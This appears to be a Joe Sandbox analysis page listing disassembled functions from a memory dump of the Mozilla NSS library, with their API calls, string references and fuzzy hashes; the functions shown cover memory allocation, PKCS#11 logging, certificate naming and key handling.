Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Util$Error$Arena_Tag_$AlgorithmFindFree$DestroyHashLookupPublicTable$ConstCurrentDataEncodeItem_ThreadVerifyWith
String ID:
API String ID: 3698863438-0
Opcode ID: 75de5cc642a0e7f516191528e8c704c6cbb96a8be376a91a2b28fd6c4556dec3
Instruction ID: fb09bd464978e53a53fa8eb7a0340c5d743d831dd3a5f7a9f65041a1aeadf395
Opcode Fuzzy Hash: 75de5cc642a0e7f516191528e8c704c6cbb96a8be376a91a2b28fd6c4556dec3
Instruction Fuzzy Hash: 22A106B5E052049BFF109AA4DE80BEE3665AF0531CF184124FA25ABB91EB31DCC6C7D1

Function 6CA707A0 Relevance: 28.7, APIs: 19, Instructions: 156COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA0204A), ref: 6CA707AD
TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA0204A), ref: 6CA707CD
TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA0204A), ref: 6CA707D6
calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA0204A), ref: 6CA707E4
TlsSetValue.KERNEL32(00000000,?,6CA0204A), ref: 6CA70864
calloc.MOZGLUE(00000001,0000002C), ref: 6CA70880
TlsSetValue.KERNEL32(00000000,?,?,6CA0204A), ref: 6CA708CB
TlsGetValue.KERNEL32(?,?,6CA0204A), ref: 6CA708D7
TlsGetValue.KERNEL32(?,?,6CA0204A), ref: 6CA708FB
InitializeCriticalSectionAndSpinCount.KERNEL32(00000040,000005DC,?,6CA0204A), ref: 6CA7091F
GetLastError.KERNEL32(?,6CA0204A), ref: 6CA7092A
free.MOZGLUE(00000000,?,?,6CA0204A), ref: 6CA7093A
DeleteCriticalSection.KERNEL32(00000040,?,?,?,6CA0204A), ref: 6CA70946
free.MOZGLUE(00000000,?,?,?,6CA0204A), ref: 6CA7094D
free.MOZGLUE(?,?,?,6CA0204A), ref: 6CA7095E
DeleteCriticalSection.KERNEL32(00000040,?,?,?,6CA0204A), ref: 6CA7096B
free.MOZGLUE(00000000,?,?,?,6CA0204A), ref: 6CA70972
EnterCriticalSection.KERNEL32(?,?,?,6CA0204A), ref: 6CA7098D
_PR_MD_UNLOCK.NSS3(?), ref: 6CA709D0

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Value$CriticalSectionfree$Deletecalloc$CountEnterErrorInitializeLastSpin
String ID:
API String ID: 4248343880-0
Opcode ID: 3034ad3b7ba45c0603142040b2f8f3a7f375ac4d70f567f73c214c4cb5f3ef3b
Instruction ID: 641921b03be78268645ec7ef67de2b2fd7ec644e9475b61b639bdc1b37d420ba
Opcode Fuzzy Hash: 3034ad3b7ba45c0603142040b2f8f3a7f375ac4d70f567f73c214c4cb5f3ef3b
Instruction Fuzzy Hash: 2451F2756003419FEB209FB9CC58B4B3BB9FF0A788F180529E54A87A41DB72E444CBA1

Function 6CAD8E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6CAD8E01,00000000,6CAD9060,6CBE0B64), ref: 6CAD8E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6CAD8E01,00000000,6CAD9060,6CBE0B64), ref: 6CAD8E9E
PORT_ArenaAlloc_Util.NSS3(6CBE0B64,00000001,?,?,?,?,6CAD8E01,00000000,6CAD9060,6CBE0B64), ref: 6CAD8EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6CAD8E01,00000000,6CAD9060,6CBE0B64), ref: 6CAD8EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6CAD8E01,00000000,6CAD9060,6CBE0B64), ref: 6CAD8ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6CAD8E01,00000000,6CAD9060,6CBE0B64), ref: 6CAD8EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6CAD8E01), ref: 6CAD8EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CBE0B64,6CBE0B64), ref: 6CAD8F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6CAD8F3F

Part of subcall function 6CADA110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6CADA421,00000000,00000000,6CAD9826), ref: 6CADA136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAD904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6CAD8E76

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: 2f2c8128d99c9a34a372b6001ee1ca9a55c406355014e29f7525ba5d87486406
Instruction ID: b768a4f4ae6242709c733e7c59dd114331044f1fd7dffd3ec8aa98d17f1cf2e7
Opcode Fuzzy Hash: 2f2c8128d99c9a34a372b6001ee1ca9a55c406355014e29f7525ba5d87486406
Instruction Fuzzy Hash: BD618DB5D002469BDB10CF65DD80AAEB7B9FF88358F194128DC18A7700EB35F955CAE1

Function 6CA88E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA88E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CA88E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CA88EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CBB18D0,?), ref: 6CA88F03
PR_CallOnce.NSS3(6CBE2AA4,6CAE12D0), ref: 6CA88F19
PL_FreeArenaPool.NSS3(?), ref: 6CA88F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CA88F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CA88F65
PL_FinishArenaPool.NSS3(?), ref: 6CA88FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6CA88FFE
PR_CallOnce.NSS3(6CBE2AA4,6CAE12D0), ref: 6CA89012
PL_FreeArenaPool.NSS3(?), ref: 6CA89024
PL_FinishArenaPool.NSS3(?), ref: 6CA8902C
PORT_DestroyCheapArena.NSS3(?), ref: 6CA8903E

Strings

security, xrefs: 6CA88EE7

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: aed1a690e56ba8feea8874f80c0bb9d8cefc64c2abfa01d7498b64acc5d97612
Instruction ID: 81e9ea89d119396ab08b5661f8d4d75a75f04d568c8639090e67d3f2fd7bb975
Opcode Fuzzy Hash: aed1a690e56ba8feea8874f80c0bb9d8cefc64c2abfa01d7498b64acc5d97612
Instruction Fuzzy Hash: DF5138B1509340ABE7109A589D41BBF73B8AF8975CF48082EF54497B40EB31D988D7A3

Function 6CAB4E60 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6CAB4E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAB4EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAB4EC7

Part of subcall function 6CB9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CB9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CAB4EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CAB4F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAB4F1A
PR_LogPrint.NSS3(?,00000000), ref: 6CAB4F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6CAB4F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6CAB4F68

Strings

(CK_INVALID_HANDLE), xrefs: 6CAB4EC0, 6CAB4F13
C_GetAttributeValue, xrefs: 6CAB4E7E
hSession = 0x%x, xrefs: 6CAB4EA2, 6CAB4EB2
hObject = 0x%x, xrefs: 6CAB4EF5, 6CAB4F05
ulCount = %d, xrefs: 6CAB4F63
pTemplate = 0x%p, xrefs: 6CAB4F4A

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue
API String ID: 1003633598-3530272145
Opcode ID: 9b48103c4b6bedf212d785116b5944c9122d03afb49e0e9dcf94cc09c51d193d
Instruction ID: bdcf43dc516002e83d76b8da9a7067213b6e9b6b80ee0446492a6086bcb4c0a9
Opcode Fuzzy Hash: 9b48103c4b6bedf212d785116b5944c9122d03afb49e0e9dcf94cc09c51d193d
Instruction Fuzzy Hash: 6C41F635641184ABDB00DF68ED48F9E77B9EB46B5DF088024F50867612DB309E8DCBA2

Function 6CAB4CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6CAB4CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAB4D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAB4D37

Part of subcall function 6CB9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CB9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CAB4D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CAB4D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAB4D8A
PR_LogPrint.NSS3(?,00000000), ref: 6CAB4DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6CAB4DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6CAB4E20

Strings

(CK_INVALID_HANDLE), xrefs: 6CAB4D30, 6CAB4D83
hSession = 0x%x, xrefs: 6CAB4D12, 6CAB4D22
hObject = 0x%x, xrefs: 6CAB4D65, 6CAB4D75
pulSize = 0x%p, xrefs: 6CAB4DB7
C_GetObjectSize, xrefs: 6CAB4CEE
*pulSize = 0x%x, xrefs: 6CAB4E1B

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: 168698b24a3a0bca4ea8dda9c24ec421dbb471ac5111361be06d3633e8b9d3d9
Instruction ID: 9af0df4e8732264b99c131d5f0ac6b05eec0c3ce283fe04437c5e2b291bcba92
Opcode Fuzzy Hash: 168698b24a3a0bca4ea8dda9c24ec421dbb471ac5111361be06d3633e8b9d3d9
Instruction Fuzzy Hash: 3441E575600185AFDB409B54ED88F6E7779EB4AB5DF088024F908BB612DB309D9CCB63

Function 6CA827F0 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 109COMMON

Download Yara Rule

APIs

CERT_GetCommonName.NSS3(?), ref: 6CA82801
CERT_GetOrgUnitName.NSS3(?), ref: 6CA82810
CERT_GetOrgName.NSS3(?), ref: 6CA82821
PR_smprintf.NSS3(6CBBAAF9,?), ref: 6CA82869
PR_smprintf.NSS3(%s - %s #%d,00000000,?,00000002), ref: 6CA8287D
PR_smprintf.NSS3(%s #%d,?,00000001), ref: 6CA82890
CERT_FindCertByNickname.NSS3(?,00000000), ref: 6CA828A8
CERT_DestroyCertificate.NSS3(00000000), ref: 6CA828B5
free.MOZGLUE(00000000), ref: 6CA828BE
free.MOZGLUE(00000000), ref: 6CA828D2
free.MOZGLUE(?), ref: 6CA828E3
PORT_Strdup_Util.NSS3(Unknown CA), ref: 6CA82905

Strings

%s - %s #%d, xrefs: 6CA82878
%s - %s, xrefs: 6CA82855
Unknown CA, xrefs: 6CA82900

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: NameR_smprintffree$CertCertificateCommonDestroyFindNicknameStrdup_UnitUtil
String ID: %s - %s$%s - %s #%d$Unknown CA
API String ID: 778386754-45099391
Opcode ID: 5651a2cc47e821ba159775935c29babe984e433220b65765c4a9d4804dd2be18
Instruction ID: ded73c1f47fa2ee666d6b59f01d956a99693bd12e3111b0116002ea2b18ec1f4
Opcode Fuzzy Hash: 5651a2cc47e821ba159775935c29babe984e433220b65765c4a9d4804dd2be18
Instruction Fuzzy Hash: FD31EABAE0316267EF005EA55D4C9BB766CAF0535CF4C0231ED19A2A01FB21D59C86E3

Function 6CB4CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CB4CC7B), ref: 6CB4CD7A

Part of subcall function 6CB4CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6CABC1A8,?), ref: 6CB4CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CB4CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CB4CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6CB4CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CB4CD8E

Part of subcall function 6CA705C0: PR_EnterMonitor.NSS3 ref: 6CA705D1
Part of subcall function 6CA705C0: PR_ExitMonitor.NSS3 ref: 6CA705EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6CB4CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CB4CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CB4CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CB4CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6CB4CE48

Strings

wship6.dll, xrefs: 6CB4CDE3
getnameinfo, xrefs: 6CB4CDB2, 6CB4CE23
getaddrinfo, xrefs: 6CB4CD88, 6CB4CDF9
ws2_32.dll, xrefs: 6CB4CD75
freeaddrinfo, xrefs: 6CB4CD9F, 6CB4CE10

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: b164fc1d76abae0c4b454125385f9a78a5cd90b43aa0ec210db6c7f0038a8bf3
Instruction ID: 63a4c12b7b1e9d6dab510a62e77b6b36484c15d081a2115c3bef435c4fc1445a
Opcode Fuzzy Hash: b164fc1d76abae0c4b454125385f9a78a5cd90b43aa0ec210db6c7f0038a8bf3
Instruction Fuzzy Hash: 131129AEE061A11AD710EB756C00DAB3858AB0295DF2C8534D805E2F05FF31D64C83F3

Function 6CAC4540 Relevance: 25.8, APIs: 17, Instructions: 349COMMON

Download Yara Rule

APIs

PK11_MakeIDFromPubKey.NSS3(00000000), ref: 6CAC4590
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAC471C
TlsGetValue.KERNEL32 ref: 6CAC477C
EnterCriticalSection.KERNEL32(?), ref: 6CAC479A
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CAC484A
PK11_FreeSymKey.NSS3(?), ref: 6CAC4858
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAC486A
PR_Unlock.NSS3(?), ref: 6CAC487E

Part of subcall function 6CB2DD70: TlsGetValue.KERNEL32 ref: 6CB2DD8C
Part of subcall function 6CB2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB2DDB4

PK11_FreeSymKey.NSS3(?), ref: 6CAC488C
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAC489C
PK11_GetInternalSlot.NSS3 ref: 6CAC48B2
PK11_UnwrapPrivKey.NSS3(00000000,00000130,00000000,?,00000000,?,00000000,00000000,00000000,00000000,00000000,?,6CAA7F9D), ref: 6CAC48EC
SECKEY_DestroyPrivateKey.NSS3(00000000), ref: 6CAC492A
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAC4949
PR_SetError.NSS3(00000000,00000000), ref: 6CAC4977
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAC4987
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAC499B

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Item_UtilZfree$K11_$CriticalErrorFreeSectionValue$DestroyEnterFromInternalLeaveMakePrivPrivateSlotUnlockUnwrap
String ID:
API String ID: 1673584487-0
Opcode ID: 46d6d03d2036e6314f1938987c5a79fee1fc778787336e47c5a04b7378c6c754
Instruction ID: 57ae023a487f33fb9aff1398b5c1cb24ce19551011d85d4580b72eb1be9a206e
Opcode Fuzzy Hash: 46d6d03d2036e6314f1938987c5a79fee1fc778787336e47c5a04b7378c6c754
Instruction Fuzzy Hash: 49E17E71A002699FDB20CF14CC44BEEBBB5AF04308F1485A9E819A7751E7329A94CF95

Function 6CAE6CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6CBB1DE0,?), ref: 6CAE6CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAE6D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6CAE6D70
PORT_Alloc_Util.NSS3(00000480), ref: 6CAE6D82
DER_GetInteger_Util.NSS3(?), ref: 6CAE6DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CAE6DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6CAE6E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6CAE6F19
PK11_DigestBegin.NSS3(00000000), ref: 6CAE6F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6CAE6F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CAE7011
PK11_FreeSymKey.NSS3(00000000), ref: 6CAE7033
free.MOZGLUE(?), ref: 6CAE703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6CAE7060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CAE7087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6CAE70AF

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: c4c89027b6673c910beafe6cfb198b515ca281939a3fc2e5485fe054c86a9f06
Instruction ID: 64ec7f82097e9078796425797d9229f0f31c58cc47c45d572cc0e05f245233cd
Opcode Fuzzy Hash: c4c89027b6673c910beafe6cfb198b515ca281939a3fc2e5485fe054c86a9f06
Instruction Fuzzy Hash: F0A117719042049BEB009B24DC95BAB32A5DB8930CF284D39EA59CBBC1E735D8C9D7D3

Function 6CAC25D0 Relevance: 24.3, APIs: 16, Instructions: 284COMMON

Download Yara Rule

APIs

PK11_ImportPublicKey.NSS3(00000000,?,00000000,?,?,?,?,?,?,-00000001,?,?,?,6CA9662E,?,?), ref: 6CAC264E
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,-00000001,?,?,?,6CA9662E,?,?), ref: 6CAC2670
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,-00000001,?,?,?,6CA9662E,?), ref: 6CAC2684
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001), ref: 6CAC26C2
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,?), ref: 6CAC26E0
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001), ref: 6CAC26F4
PR_Unlock.NSS3(?), ref: 6CAC274D
PR_SetError.NSS3(00000000,00000000), ref: 6CAC28A9

Part of subcall function 6CAD3440: PK11_GetAllTokens.NSS3 ref: 6CAD3481
Part of subcall function 6CAD3440: PR_SetError.NSS3(00000000,00000000), ref: 6CAD34A3
Part of subcall function 6CAD3440: TlsGetValue.KERNEL32 ref: 6CAD352E
Part of subcall function 6CAD3440: EnterCriticalSection.KERNEL32(?), ref: 6CAD3542
Part of subcall function 6CAD3440: PR_Unlock.NSS3(?), ref: 6CAD355B

PR_Unlock.NSS3(?), ref: 6CAC27A1
PR_SetError.NSS3(FFFFE040,00000000,?,?,?,?,?,?,-00000001,?,?,?,6CA9662E,?,?,?), ref: 6CAC27B5
PR_Unlock.NSS3(?), ref: 6CAC27CE
TlsGetValue.KERNEL32 ref: 6CAC27E8
EnterCriticalSection.KERNEL32(0000001C), ref: 6CAC2800

Part of subcall function 6CACF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CACF854
Part of subcall function 6CACF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CACF868
Part of subcall function 6CACF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CACF882
Part of subcall function 6CACF820: free.MOZGLUE(04C483FF,?,?), ref: 6CACF889
Part of subcall function 6CACF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CACF8A4
Part of subcall function 6CACF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CACF8AB
Part of subcall function 6CACF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CACF8C9
Part of subcall function 6CACF820: free.MOZGLUE(280F10EC,?,?), ref: 6CACF8D0

PR_Unlock.NSS3(?), ref: 6CAC2834
TlsGetValue.KERNEL32 ref: 6CAC284E
EnterCriticalSection.KERNEL32(0000001C), ref: 6CAC2866

Part of subcall function 6CA707A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA0204A), ref: 6CA707AD
